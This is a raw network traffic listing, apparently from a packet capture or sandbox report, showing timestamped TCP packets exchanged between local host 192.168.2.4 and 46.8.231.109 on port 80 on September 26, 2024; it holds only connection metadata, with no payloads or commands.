Sep 26, 2024 19:05:11.119564056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.120477915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.120533943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.120554924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.120567083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.120587111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.120600939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.121674061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.121694088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.121720076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.121726036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.121745110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.121757030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.123001099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.123023987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.123038054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.123054028 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.123068094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.123070955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.123089075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.123106003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.178833961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.178930044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.179241896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.179258108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.179302931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.179352999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.179732084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.179748058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.179776907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.179783106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.179797888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.179817915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.180286884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.180308104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.180334091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.180340052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.180366039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.180377007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181015015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181040049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181057930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181067944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181085110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181085110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181102991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181124926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181756973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181777954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181809902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181812048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181828976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.181834936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181853056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.181879044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.182764053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.182784081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.182806969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.182811975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.182830095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.182840109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.183764935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.183785915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.183806896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.183814049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.183825016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.183825970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.183852911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.183866024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.183866024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.183892012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.184792042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.184808969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.184837103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.184840918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.184853077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.184874058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.185669899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.185691118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.185718060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.185719967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.185735941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.185741901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.185755014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.185776949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.186415911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.186433077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.186460018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.186464071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.186477900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.186501980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.187154055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.187175035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.187202930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.187205076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.187212944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.187227011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.187247038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.187266111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.187997103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.188016891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.188035011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.188047886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.188065052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.188075066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.188708067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.188752890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.189078093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.189127922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.189182043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.189208031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.189230919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.189249992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.189716101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.189732075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.189759970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.189796925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.189805031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.189805984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.190491915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.190507889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.190536022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.190536976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.190546989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.190565109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.190581083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.190604925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.191270113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.191287041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.191312075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.191322088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.191334963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.191353083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192020893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192040920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192059994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192071915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192089081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192090988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192107916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192125082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192837954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192862034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192876101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192893982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192904949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.192907095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192923069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.192943096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.193768024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.193788052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.193819046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.193821907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.193835020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.193840027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.193862915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.193865061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.193885088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.193902969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.194762945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.194783926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.194808006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.194814920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.194825888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.194830894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.194853067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.194890976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.195763111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.195784092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.195807934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.195821047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.195828915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.195836067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.195852041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.195853949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.195867062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.195893049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.196651936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.196675062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.196692944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.196717978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.196719885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.196738005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.196768999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.197465897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.197489023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.197508097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.197515011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.197532892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.197539091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.197551012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.197557926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.197581053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.197597980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.198354006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.198374033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.198399067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.198402882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.198419094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.198424101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.198471069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.198471069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.199265003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.199289083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.199306965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.199307919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.199327946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.199327946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.199347973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.199354887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.199371099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.199399948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.199994087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200037956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200053930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200054884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200079918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200081110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200092077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200105906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200123072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200145960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200838089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200861931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200876951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200887918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200905085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.200906038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200922966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.200941086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.201682091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.201699018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.201726913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.201735020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.201746941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.201752901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.201762915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.201770067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.201795101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.201803923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.202523947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.202547073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.202574015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.202584982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.278008938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.278136015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.278139114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.278156042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.278181076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.278188944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.280118942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.280134916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.280162096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.280179977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.280184984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.280193090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.280213118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.280230999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.282073975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282089949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282116890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282135963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.282136917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282150030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.282167912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.282182932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.282480001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282495022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282521963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.282541990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.282574892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.283700943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.283719063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.283750057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.283761024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.283767939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.283787966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.283813000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.284482956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.284499884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.284528017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.284537077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.284548044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.284549952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.284563065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.284581900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.285937071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.285953999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.285981894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.285990953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.286003113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.286003113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.286022902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.286031961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.286036015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.286071062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.287381887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.287420988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.287436008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.287442923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.287451982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.287467003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.287476063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.287513018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.289215088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.289231062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.289257050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.289271116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.289287090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.289294958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.289304018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.289359093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.289359093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.290261984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.290278912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.290306091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.290314913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.290328026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.290328979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.290345907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.290349960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.290364981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.290432930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.292103052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292119980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292145014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292159081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292160988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.292191982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.292624950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292640924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292668104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.292674065 CEST	49735	80	192.168.2.4	46.8.231.109
